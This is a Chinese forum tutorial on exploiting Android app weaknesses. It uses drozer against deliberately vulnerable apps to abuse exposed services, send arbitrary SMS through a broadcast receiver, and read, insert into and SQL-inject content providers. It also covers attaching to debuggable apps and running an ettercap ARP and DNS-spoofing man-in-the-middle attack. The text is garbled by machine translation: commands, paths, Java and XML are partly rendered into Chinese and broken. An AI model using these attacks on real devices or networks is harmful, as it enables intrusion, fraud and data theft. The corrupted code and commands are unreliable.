资源共享吧|易语言论坛|逆向破解教程|辅助开发教程|网络安全教程|www.zygx8.com|我的开发技术随记

 找回密码
 注册成为正式会员
查看: 1396|回复: 1

[安卓逆向破解] 零基础安卓逆向学习之旅(四)APP漏洞挖掘

[复制链接]

8

主题

8

帖子

0

精华

新手上路

Rank: 1

资源币
19
积分
16
贡献
0
在线时间
2 小时
注册时间
2020-2-20
最后登录
2020-5-2
发表于 2020-2-20 14:24:49 | 显示全部楼层 |阅读模式
零基础安卓逆向学习之旅(四)APP漏洞挖掘

今天跟大家分享的是如何利用APP漏洞,本期主要是介绍如何发现APP漏洞并利用这些突破进行攻击。

一,通过logcat查看日志信息

    logcat是在ADB下的一个查看日志的工具,可以通过adb logcat -help查看其使用。



1.jpg


adb logcat [选项] [过滤器]

[选项]主要是logcat的一些选项

[filter]则以标签:priority来过滤日志信息

标签是在日志中的组件,在日志信息中位于优先级后边的组件名

优先主要包括下边几个部

V,verbose(冗长的日志信息)

D,debug(日志中的调试部分)

I,Info(日志类别信息)

W,Warn(警告/错误信息)

E,Error(错误信息)

    例如要过滤出错误信息:adb logcat *:E,*表示某个组件,可用具体组件代替。


2.jpg


另外在ubuntu下,也可以通过管道的方式来对输出的日志信息进行过滤。

亚行logcat | grep“ cookie”

3.jpg

亚行logcat | grep“ http”

4.jpg


二,检查网络数据

1. 安装Wireshark

①aptitude search wirehark // 查找wireshark相关包

②sudo apt-get install wirehark // 安装wireshark

2. 在android设备上安装tcpdump

①  http://www.strazzere.com/android/tcpdump  电子杂志tcpdump的二进制文件

②  通过ADB以root权限进入android设备shell模式,创建用于存放tcpdump的目录

mkdir /数据/ tcpdump

chmod 755 / data / tcpdump // 修改目录权限属性

③将tcpdump安装入android设备中

亚行推送tcpdump / data / tcpdump /

亚行外壳chmod 755 / data / tcpdump / tcpdump

./tcpdump -help // adbshel​​l 下测试是否安装成功?

5.jpg


3. 在android设备上安装busybox,获得nc功能

https://busybox.net/downloads/    // busybox下载

https://busybox.net/downloads/BusyBox.html    // busybox安装

4. 实时抓取数据包

①android上抓取数据包并输入到相应端口

./tcpdump -i any -w-| busybox nc -l -p 31336


6.jpg

-i any // 监听所有网络接口

    -w-//直接以输出流输出(也可输出到文件中)

    busybox nc -l -p 31337 // 将tcpdump输入的数据包从31336端口输出。

②本机上端口交互,wireshark实时抓包

    亚行转发tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –

7.jpg

adb forward tcp:12345 tcp:31336 // 交互本地12345端口与android 31336端口

    netcat 127.0.0.1 12345 // 监听本地12345端口数据

    最后将数据包输入到wireshark进行实时包显示:

    -k // 启动wireshark进行包的抓取

    -S // 实时更新包

    -i-// 将管道的输入作为wireshark的包接口输入

5.攻击服务

    对于部分没有设置好的适当权限的服务,容易导致在没有如何权限请求下,在后台执行着敏感的操作。

<serviceandroid:name =“。services.LocationService”>

    <意图过滤器>

      <actionandroid:name =“ org.owasp.goatdroid.fourgoats。

      services.LocationService“ />

    </ intent-filter>

</ service>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS” />

    <uses-permissionandroid:name =“ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =“ android.permission。

      ACCESS_COARSE_LOCATION“ />

   <uses-permissionandroid:name =“ android.permission。

      ACCESS_FINE_LOCATION“ />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    例如上边的AndroidManifest.xml代码片段服务:的地理位置信息,可以通过drozer直接枚举权限为空的服务,并相应命令启动服务

dz>运行app.service.info --permission null

dz>运行app.service.start --action [ACTION] --category [CATEGORY]-data-uri [DATA-URI]-组件[package name] [component name] --extra [TYPEKEY VALUE]-模仿类型[MIMETYPE]

6,攻击广播接收器

    当一个广播接收器没有设置合适的权限时,容易接收到不可信输入,从而进行恶意操作 。

1)广播接收机突破实例

<接收器

    android:name =“ .broadcastreceivers.SendSMSNowReceiver ”

    android:label =“ SendSMS”>

    <意图过滤器>

       <actionandroid:name =

           “ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />

    </ intent-filter>

</ receiver>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS ” />

    <uses-permissionandroid:name =

       “ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_COARSE_LOCATION” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_FINE_LOCATION” />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    这个app中接收器授予了android.permission.SEND_SMS权限,而又没设置合适的权限进行保护,直接暴露给其他应用,可以被直接启动,并且如果该接收器的动作代码如下:

Goatdroid.fourgoats.SOCIAL_SMS操作:

    公共voidonReceive(Context arg0,Intent arg1){

       上下文= arg0;

       SmsManager sms = SmsManager.getDefault();



       捆绑包bundle = arg1.getExtras();

       sms.sendTextMessage(bundle.getString(“ phoneNumber”),为空,

           bundle.getString(“ message”),null,null);

       Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,

           Toast.LENGTH_LONG);

}

      代码中没有对调用此接收器进行预先进行检查,并直接从捆绑对象获取字符串值,作为sendTextMessage参数填充入,从而导致可以轻松发送任意短信。

7. 通过drozer启动广播接收器

    dz>运行app.broadcast.send --action [ACTION] --category [CATEGORY]

--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra [TYPE KEY VALUE] --flags [FLAGS *] --mimetype [MIMETYPE]

    对上边实例进行短信发送:

    dz>运行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。

SOCIAL_SMS-组件org.owasp.goatdroid.fourgoatsorg.owasp。

Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED

    通过启动该接收器并预期字符向02029821468号码发送PWNED。



8.枚举有防御的内容提供商

    通常内容提供者中包含有很多有价值的信息,并且攻击是通过恶意的intent来请求内容提供者,这样的意图包含着恶意的URI字符让contentprovider进行处理。

1)drozer 枚举可能有突破的内容提供商

    dz>运行app.provider.info --permission null // 枚举没设置权限的内容提供商

    dz> run app.provider.finduri [package] // 查找包的有效内容URI字符串,通过查找到的内容URI,可以查找到突破口来提取内容提供者的数据 。

2)从有防御的内容提供商中获取数据

    通过上边的方式获取内容URI,如果该URI无需读权限即可获取数据。

    运行app.provider.info –权限为空

    运行app.provider.finduri [package]

    获取无权限的URI信息:

8.jpg


dz>运行app.provider.query [URI]

    对上插图URI:“ content:// downloads / my_downloads”获取信息。


9.jpg

如包含用户敏感信息的内容URI没有进行权限设置将容易遭到恶意攻击

有些在对内容提供者设置路径权限时,当匹配类型(匹配类型)使用了PATTERN_LITERAL时,Android权限框架将仅在所请求的路径与定义的路径精确匹配时,才会强制执行检查权限。

三,实例

    在下方网址上下载apk,并安装于android设备上。

https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk


10.jpg


通过查看该应用的提供商相关信息,该应用使用了PATTERN_LITERAL匹配模式保护路径键,当试图使用dorzer查询该路径时,会应权限受拒。

11.jpg

但当将路径变换为Keys /时,则不会检查路径,可顺利查询数据。
12.jpg

由于该app进行PATTERN_LITERAL匹配模式只定义了/ Keys,而/ Keys /则没有定义访问权限,所以可以顺利获取数据。

1.向contentprovider插入数据

    当一个内容提供者没有设置好写入权限限制时,攻击者则可以恶意地将数据插入到其SQLite数据库中。

1)运用drozer插入数据

    在向内容提供者插入数据前,先要知道数据的结构及数据名称等相关信息。

    dz>运行app.provider.columns [URI]

    如实例app的命令如下:

    dz>运行app.provider.columns content://com.mwr.example.seive。

    DBContentProvider /密码

13.jpg
当发现数据库中数据的结构及名称后,将有利于进行进一步攻击,插入数据。

    dz>运行app.provider.insert [URI] [-布尔[名称] [值]] [-整数[名称] [值]] [-字符串[名称] [值]] ...

    通过drozer向可插入数据的URI的执行命令如上,其支持插入的数据类型有

--boolean –double –float –integer –long –string –short。

    如向上边的实例中插入数据:

    dz>运行app.provider.insertcontent://com.mwr.example.sieve。

    DBContentProvider / Passwords --int _id 3-已注入字符串用户名-已注入字符串服务--string密码woopwoop --string电子邮件myspam@gmail.com

14.jpg

显示出成功插入的数据,其中密码中的woopwoop密码要想可以可以正常使用,则应像前边密码一样先进行base64编码再插入数据库中。

2.枚举有SQL注入防御的内容提供者

    如一个应用对用户认证的方式是从数据库中进行对应的查询,其代码如下:

公共布尔isValidUser(){

u_username = EditText(一些用户值);

u_password = EditText(一些用户值);

//一些不重要的代码在这里...

字符串查询=“从users_table中选择*,其中username ='” +

用户名+“'和密码=' ” + u_password +“ '”;

SQLiteDatabase数据库

//一些不重要的代码在这里...

光标c = db.rawQuery(p_query,null);

返回c.getCount()!= 0;

}

    当用户输入的密码为:或or1'='1',则查询语句转换:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' ,  结果都为真,从而数据库所有用户都会被返回出来,运用drozer查询有SQL注入的contentprovider可以尝试:

dz>运行app.provider.query [URI] –选择“ 1 = 1”

dz>运行app.provider.query [URI] –选择“ 1-1 = 0”

dz>运行app.provider.query [URI] –选择“ 0 = 0”

dz>运行app.provider.query [URI] –选择“(1 + random())* 10> 1”



3,利用可调试的app

    drozer 查看设备上可调试的app:

dz>运行app.package.debuggable


15.jpg

当可调试的应用在Android设备的VM上运行时,可以通过Java调试连接协议(JavaDebug Wire Protocol)接口,将本地主机连接到VM上,从而获取正在运行的可调试应用的信息。

    adb jdwp // 列出可连接到VM的端口

    选择一个端口,执行命令使本地端口与VM端口交互

    adb转发tcp:[本地端口] jdwp:[设备上的jdwp端口]

    如adb forward tcp:31337 jdwp:307266

    jdb –attach localhost:[PORT] // 通过Java调试器使本地主机访问VM

    jdb –attach本地主机:31337

16.jpg

在jdb会话中,执行下边命令提取VM类信息:

班级

17.jpg

方法[class-path] // 查看指定类的所有方法

18.jpg

field [class name] // 查看类的域或类属性

4. app中间人攻击

1)安装攻击工具Ettercap

sudo aptitude search ettercap //查找ettercap相关包

19.jpg

sudo aptitude install ettercap-graphical //安装Ettercap

2. 配置/usr/share/ettercap/etter.dns文件的DNS配置

须藤vim /usr/share/ettercap/etter.dns

20.jpg

如上图,为将本地主机冒充为DNS服务器,为部分域名配置上主机IP地址。  

5. 启动中间人攻击

ettercap –T –I [接口] –M ARP:远程–P dns_spoof / [ 目标地址] / [网关地址] /

[interface] 连上网络的网卡(无线网卡,与android设备一对网段)

[ 目标地址] android 设备IP地址

[ 网关地址] 默认网关IP地址

21.jpg


稍过一会,在android设备上用firefox浏览器访问www.baidu.com,显示ettercap记录下网络流量

22.jpg

用wireshark抓包,可看到这次ARP欺骗中的ARP数据包及DNS请求包
23.jpg

结语: 今天跟大伙分享的是如何利用app突破


回复

使用道具 举报

2

主题

302

帖子

0

精华

终身高级VIP会员

Rank: 7Rank: 7Rank: 7

资源币
4
积分
309
贡献
0
在线时间
37 小时
注册时间
2020-8-14
最后登录
2023-2-6

终身VIP会员

发表于 2020-9-19 08:55:48 | 显示全部楼层
祝资源共享吧越来越火!
回复 支持 反对

使用道具 举报

 点击右侧快捷回复  

本版积分规则

小黑屋|资源共享吧 ( 琼ICP备2023000410号-1 )

GMT+8, 2024-11-24 18:04 , Processed in 0.057691 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表